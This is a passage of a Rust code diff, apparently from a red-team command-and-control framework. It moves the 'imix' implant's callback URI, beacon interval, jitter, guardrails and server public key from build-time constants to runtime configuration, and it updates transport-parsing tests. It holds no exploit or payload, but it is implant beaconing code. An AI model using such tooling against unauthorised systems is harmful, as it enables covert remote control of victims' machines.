etc.). These now read via runtime_config(). +#[deprecated(note = "Use pb::config::callback_uri() / init_runtime_config instead")] +pub const CALLBACK_URI: &str = CALLBACK_URI_DEFAULT; +#[deprecated(note = "Use pb::config::callback_interval() instead")] +pub const CALLBACK_INTERVAL: &str = CALLBACK_INTERVAL_DEFAULT; +#[deprecated(note = "Use pb::config::retry_interval() instead")] +pub const RETRY_INTERVAL: &str = RETRY_INTERVAL_DEFAULT; +#[deprecated(note = "Use pb::config::transport_extra() instead")] +pub const DEFAULT_EXTRA_CONFIG: &str = ""; +#[deprecated(note = "Use pb::config::run_once() instead")] +pub const RUN_ONCE: bool = false; -/* Compile-time constant for the agent run once flag, derived from the IMIX_RUN_ONCE environment variable during compilation. - * Defaults to false if unset. - */ -pub const RUN_ONCE: bool = run_once!(); +//TODO: Can this struct be removed? +/// Config holds values necessary to configure an Agent. +#[allow(clippy::derive_partial_eq_without_eq)] +#[derive(Clone, PartialEq, ::prost::Message)] +pub struct Config { + #[prost(message, optional, tag = "1")] + pub info: ::core::option::Option, + #[prost(bool, tag = "2")] + pub run_once: bool, +} -/* - * Helper function to determine transport type from URI scheme - */ +/// Determine transport type from URI scheme. fn get_transport_type(uri: &str) -> crate::c2::transport::Type { match uri.split(":").next().unwrap_or("unspecified") { "dns" => crate::c2::transport::Type::TransportDns, @@ -102,40 +120,27 @@ fn get_transport_type(uri: &str) -> crate::c2::transport::Type { } } -/* - * Helper function to parse URIs into Transport objects - * Supports DSN format with query parameters: - * - interval: callback interval in seconds (overrides default) - * - extra: extra configuration JSON (overrides default) - * - jitter: callback jitter float [0.0, 1.0] (overrides default 0.0) - * - * Example: https://example.com?interval=10&extra={"key":"value"}&jitter=0.5 - */ +/// Parse URIs into Transport objects. Supports DSN format with query params: +/// interval, extra, jitter, type. Example: +/// `https://example.com?interval=10&extra={"key":"value"}&jitter=0.5` pub fn parse_transports(uri_string: &str) -> Vec { uri_string .split(';') .filter(|s| !s.trim().is_empty()) - .filter_map(|uri| { - let uri_trimmed = uri.trim(); - parse_dsn(uri_trimmed).ok() - }) + .filter_map(|uri| parse_dsn(uri.trim()).ok()) .collect() } -/* - * Helper function to parse DSN query parameters - * Returns a Transport struct - */ +/// Parse a single DSN URI into a Transport struct. pub fn parse_dsn(uri: &str) -> anyhow::Result { - // Parse as a URL to extract query parameters let parsed_url = Url::parse(uri).with_context(|| format!("Failed to parse URI '{}'", uri))?; - let mut interval = parse_callback_interval()?; - let mut extra = DEFAULT_EXTRA_CONFIG.to_lowercase(); - let mut jitter = 0.0; + let rt = runtime_config(); + let mut interval = parse_callback_interval_with(&rt.callback_interval)?; + let mut extra = rt.transport_extra.to_lowercase(); + let mut jitter = 0.0_f32; let mut transport_type = get_transport_type(uri); - // Parse query parameters for (key, value) in parsed_url.query_pairs() { match key.as_ref() { "interval" => { @@ -169,7 +174,6 @@ pub fn parse_dsn(uri: &str) -> anyhow::Result { } } - // Reconstruct the base URI without query parameters let mut base_uri = parsed_url.clone(); base_uri.set_query(None); @@ -182,27 +186,26 @@ pub fn parse_dsn(uri: &str) -> anyhow::Result { }) } -/* - * Helper function to parse callback interval with fallback - */ +fn parse_callback_interval_with(s: &str) -> anyhow::Result { + s.parse::() + .with_context(|| format!("Failed to parse callback interval constant '{}'", s)) +} + +#[allow(dead_code)] fn parse_callback_interval() -> anyhow::Result { - CALLBACK_INTERVAL.parse::().with_context(|| { - format!( - "Failed to parse callback interval constant '{}'", - CALLBACK_INTERVAL - ) - }) + parse_callback_interval_with(&runtime_config().callback_interval) } fn parse_host_unique_selectors() -> Vec> { - let final_res = match option_env!("IMIX_UNIQUE") { + let rt = runtime_config(); + let final_res = match rt.unique_json { Some(json) => { - if let Some(res) = host_unique::from_imix_unique(json.to_owned()) { + if let Some(res) = host_unique::from_imix_unique(json) { return res; } else { #[cfg(feature = "print_debug")] log::error!( - "Error parsing uniqueness string (should have been caught at build time" + "Error parsing uniqueness string (should have been caught at build time)" ); return host_unique::defaults(); } @@ -213,9 +216,10 @@ fn parse_host_unique_selectors() -> Vec> { } fn parse_guardrails() -> Vec> { - let final_res = match option_env!("IMIX_GUARDRAILS") { + let rt = runtime_config(); + let final_res = match rt.guardrails_json { Some(json) => { - if let Some(res) = guardrails::from_imix_guardrails(json.to_owned()) { + if let Some(res) = guardrails::from_imix_guardrails(json) { return res; } else { #[cfg(feature = "print_debug")] @@ -230,9 +234,6 @@ fn parse_guardrails() -> Vec> { final_res } -/* - * Config methods. - */ impl Config { pub fn default_with_imix_version(imix_version: &str) -> Self { let agent = crate::c2::Agent { @@ -248,14 +249,13 @@ impl Config { primary_ip: get_primary_ip(), }; - // Try to grab the beacon identitifier from env var, o/w use a random UUID let beacon_id = std::env::var("IMIX_BEACON_ID").unwrap_or_else(|_| String::from(Uuid::new_v4())); - // Parse CALLBACK_URI by splitting on ';' to support multiple transports - let transports = parse_transports(CALLBACK_URI); + // Read callback URI at runtime (set by imix early in startup, or default). + let rt = runtime_config(); + let transports = parse_transports(&rt.callback_uri); - // Create AvailableTransports with the 0th element as the first active transport let available_transports = AvailableTransports { transports, active_index: 0, @@ -278,9 +278,10 @@ impl Config { Config { info: Some(info), - run_once: RUN_ONCE, + run_once: runtime_config().run_once, } } + pub fn refresh_primary_ip(&mut self) { let fresh_ip = get_primary_ip(); if self @@ -307,22 +308,15 @@ impl Config { } } -/* - * Returns which Platform imix has been compiled for. - */ fn get_host_platform() -> crate::c2::host::Platform { #[cfg(target_os = "linux")] return crate::c2::host::Platform::Linux; - #[cfg(target_os = "macos")] return crate::c2::host::Platform::Macos; - #[cfg(target_os = "windows")] return crate::c2::host::Platform::Windows; - #[cfg(any(target_os = "freebsd", target_os = "netbsd", target_os = "openbsd"))] return crate::c2::host::Platform::Bsd; - #[cfg(all( not(target_os = "linux"), not(target_os = "macos"), @@ -334,10 +328,6 @@ fn get_host_platform() -> crate::c2::host::Platform { return crate::c2::host::Platform::Unspecified; } -/* - * Return the first IPv4 address of the default interface as a string. - * Returns the empty string otherwise. - */ fn get_primary_ip() -> String { match netdev::get_default_interface() { Ok(default_interface) => match default_interface.ipv4.first() { @@ -347,7 +337,6 @@ fn get_primary_ip() -> String { Err(_err) => { #[cfg(feature = "print_debug")] log::error!("failed to get primary ip: {_err}"); - String::from("") } } @@ -359,33 +348,30 @@ mod tests { const DEFAULT_INTERVAL_SECONDS: u64 = 5; + fn default_rt() -> RuntimeImixConfig { + RuntimeImixConfig::default() + } + #[test] fn test_single_uri_parsing() { - // Simulating a single URI at compile time - let config = Config::default_with_imix_version("test"); - - let info = config.info.expect("Config should have info"); - let available = info - .available_transports - .expect("Should have available transports"); - - assert_eq!(available.transports.len(), 1); - assert_eq!(available.active_index, 0); - // The URL crate normalizes URIs, potentially adding trailing slashes - let expected_uri = CALLBACK_URI.split(';').next().unwrap(); - let parsed_expected = Url::parse(expected_uri).unwrap(); - let mut expected_base = parsed_expected.clone(); - expected_base.set_query(None); - assert!(available.transports[0] - .uri - .starts_with(&expected_base.to_string())); + let rt = default_rt(); + let config = { + // Construct Config equivalent manually for test without global init side-effects + let transports = parse_transports(&rt.callback_uri); + assert_eq!(transports.len(), 1); + let expected_uri = rt.callback_uri.split(';').next().unwrap(); + let parsed_expected = Url::parse(expected_uri).unwrap(); + let mut expected_base = parsed_expected.clone(); + expected_base.set_query(None); + assert!(transports[0].uri.starts_with(&expected_base.to_string())); + }; + let _ = config; } #[test] fn test_transport_type_detection_grpc() { let grpc_type = get_transport_type("http://example.com"); assert_eq!(grpc_type, crate::c2::transport::Type::TransportGrpc); - let grpcs_type = get_transport_type("https://example.com"); assert_eq!(grpcs_type, crate::c2::transport::Type::TransportGrpc); } @@ -394,7 +380,6 @@ mod tests { fn test_transport_type_detection_http1() { let http1_type = get_transport_type("http1://example.com"); assert_eq!(http1_type, crate::c2::transport::Type::TransportHttp1); - let https1_type = get_transport_type("https1://example.com"); assert_eq!(https1_type, crate::c2::transport::Type::TransportHttp1); } @@ -417,18 +402,15 @@ mod tests { #[test] fn test_parse_callback_interval_valid() { let interval = parse_callback_interval().expect("Failed to parse callback interval"); - // Should parse successfully or default to DEFAULT_INTERVAL_SECONDS assert!(interval >= DEFAULT_INTERVAL_SECONDS); } #[test] fn test_config_creates_available_transports() { let config = Config::default_with_imix_version("v2"); - assert!(config.info.is_some()); let info = config.info.unwrap(); assert!(info.available_transports.is_some()); - let available = info.available_transports.unwrap(); assert!( !available.transports.is_empty(), @@ -439,10 +421,8 @@ mod tests { #[test] fn test_empty_uri_filtered() { - // Test that empty URIs are filtered out using parse_transports let uris = "http://example.com;;https://example2.com"; let transports = parse_transports(uris); - assert_eq!(transports.len(), 2); assert_eq!(transports[0].uri, "http://example.com/"); assert_eq!(transports[1].uri, "https://example2.com/"); @@ -450,10 +430,8 @@ mod tests { #[test] fn test_dsn_with_interval_query_param() { - // Test DSN parsing with interval query parameter let uris = "https://example.com?interval=10"; let transports = parse_transports(uris); - assert_eq!(transports.len(), 1); assert_eq!(transports[0].uri, "https://example.com/"); assert_eq!(transports[0].interval, 10); @@ -462,10 +440,8 @@ mod tests { #[test] fn test_dsn_with_extra_query_param() { - // Test DSN parsing with extra query parameter (converted to lowercase) let uris = "https://example.com?extra=%7B%22key%22%3A%22value%22%7D"; let transports = parse_transports(uris); - assert_eq!(transports.len(), 1); assert_eq!(transports[0].uri, "https://example.com/"); assert_eq!(transports[0].interval, DEFAULT_INTERVAL_SECONDS); @@ -474,10 +450,8 @@ mod tests { #[test] fn test_dsn_with_both_query_params() { - // Test DSN parsing with both interval and extra query parameters (extra converted to lowercase) let uris = "https://example.com?interval=15&extra=%7B%22proxy%22%3A%22http%3A%2F%2Fproxy.local%22%7D"; let transports = parse_transports(uris); - assert_eq!(transports.len(), 1); assert_eq!(transports[0].uri, "https://example.com/"); assert_eq!(transports[0].interval, 15); @@ -486,10 +460,8 @@ mod tests { #[test] fn test_dsn_multiple_uris_with_different_params() { - // Test multiple DSNs with different parameters let uris = "https://primary.com?interval=10;https://fallback.com?interval=30"; let transports = parse_transports(uris); - assert_eq!(transports.len(), 2); assert_eq!(transports[0].uri, "https://primary.com/"); assert_eq!(transports[0].interval, 10); @@ -499,47 +471,37 @@ mod tests { #[test] fn test_dsn_no_query_params_uses_defaults() { - // Test that URIs without query parameters use default values let uris = "https://example.com"; let transports = parse_transports(uris); - assert_eq!(transports.len(), 1); assert_eq!(transports[0].uri, "https://example.com/"); assert_eq!(transports[0].interval, DEFAULT_INTERVAL_SECONDS); - assert_eq!(transports[0].extra, DEFAULT_EXTRA_CONFIG.to_lowercase()); + let rt = default_rt(); + assert_eq!(transports[0].extra, rt.transport_extra.to_lowercase()); } #[test] fn test_dsn_invalid_interval_uses_default() { - // Test that invalid interval values are filtered out (error bubbles up) let uris = "https://example.com?interval=invalid"; let transports = parse_transports(uris); - - // Since parse_dsn now returns Result and invalid intervals bubble up errors, - // the filter_map will filter out this entry assert_eq!(transports.len(), 0); } #[test] fn test_dsn_mixed_with_and_without_params() { - // Test mixed URIs (some with params, some without) let uris = "https://first.com?interval=10;https://second.com;https://third.com?interval=25"; let transports = parse_transports(uris); - assert_eq!(transports.len(), 3); assert_eq!(transports[0].interval, 10); - assert_eq!(transports[1].interval, DEFAULT_INTERVAL_SECONDS); // Uses default + assert_eq!(transports[1].interval, DEFAULT_INTERVAL_SECONDS); assert_eq!(transports[2].interval, 25); } #[test] fn test_dsn_with_unencoded_json() { - // Test DSN parsing with unencoded JSON in extra parameter - // The url crate should handle the parsing automatically let uris = r#"https://example.com?interval=20&extra={"key":"value","nested":{"Foo":"Bar"}}"#; let transports = parse_transports(uris); - assert_eq!(transports.len(), 1); assert_eq!(transports[0].uri, "https://example.com/"); assert_eq!(transports[0].interval, 20); @@ -553,7 +515,6 @@ mod tests { fn test_dsn_with_jitter() { let uris = "https://example.com?jitter=0.5"; let transports = parse_transports(uris); - assert_eq!(transports.len(), 1); assert_eq!(transports[0].uri, "https://example.com/"); assert_eq!(transports[0].jitter, 0.5); @@ -563,7 +524,6 @@ mod tests { fn test_transport_type_detection_quic() { let quic_type = get_transport_type("quic://example.com"); assert_eq!(quic_type, crate::c2::transport::Type::TransportQuic); - let quics_type = get_transport_type("quics://example.com"); assert_eq!(quics_type, crate::c2::transport::Type::TransportQuic); } @@ -572,7 +532,6 @@ mod tests { fn test_dsn_with_type_query_param() { let uris = "http://example.com?type=quic"; let transports = parse_transports(uris); - assert_eq!(transports.len(), 1); assert_eq!(transports[0].uri, "http://example.com/"); assert_eq!( diff --git a/implants/lib/pb/src/xchacha.rs b/implants/lib/pb/src/xchacha.rs index 069af2e06..f5c5f8fa1 100644 --- a/implants/lib/pb/src/xchacha.rs +++ b/implants/lib/pb/src/xchacha.rs @@ -1,8 +1,6 @@ use anyhow::{Context, Result}; use bytes::{Buf, BufMut}; use chacha20poly1305::{aead::generic_array::GenericArray, aead::Aead, AeadCore, KeyInit}; -#[cfg(feature = "imix")] -use const_decoder::Decoder as const_decode; use lru::LruCache; use prost::Message; use rand::rngs::OsRng; @@ -19,17 +17,26 @@ use tonic::{ }; use x25519_dalek::{EphemeralSecret, PublicKey}; -/* Compile-time constant for the server pubkey, derived from the IMIX_SERVER_PUBKEY environment variable during compilation. - * To find the servers pubkey check the startup messages on the server look for `[INFO] Public key: ` - */ -#[cfg(feature = "imix")] -static SERVER_PUBKEY: [u8; 32] = const_decode::Base64.decode(env!("IMIX_SERVER_PUBKEY").as_bytes()); - -#[cfg(not(feature = "imix"))] -static SERVER_PUBKEY: [u8; 32] = [ +// Default / fallback pubkey used when no real server pubkey has been configured. +// Standalone builds of eldritch, golem, etc. that do not need encrypted C2 will use this. +const DEFAULT_PUBKEY: [u8; 32] = [ 165, 30, 122, 188, 50, 89, 111, 214, 247, 4, 189, 217, 188, 37, 200, 190, 2, 180, 175, 107, 194, 147, 177, 98, 103, 84, 99, 120, 72, 73, 87, 37, ]; + +/// Override set by imix at runtime via `set_server_pubkey`. If not set, DEFAULT_PUBKEY is used. +static SERVER_PUBKEY_OVERRIDE: OnceLock<[u8; 32]> = OnceLock::new(); + +/// Called by imix early in startup to provide the real server public key. +/// Subsequent calls are no-ops. +pub fn set_server_pubkey(key: [u8; 32]) { + let _ = SERVER_PUBKEY_OVERRIDE.set(key); +} + +fn get_server_pubkey() -> [u8; 32] { + *SERVER_PUBKEY_OVERRIDE.get().unwrap_or(&DEFAULT_PUBKEY) +} + // ------------ const KEY_CACHE_SIZE: usize = 1024; @@ -59,8 +66,7 @@ fn get_key(pub_key: [u8; 32]) -> Result<[u8; 32]> { } fn encrypt_impl(pt_vec: Vec) -> Result> { - // Store server pubkey - let server_public: PublicKey = PublicKey::from(SERVER_PUBKEY); + let server_public: PublicKey = PublicKey::from(get_server_pubkey()); // Generate ephemeral keys let rng = rand_chacha::ChaCha20Rng::from_entropy();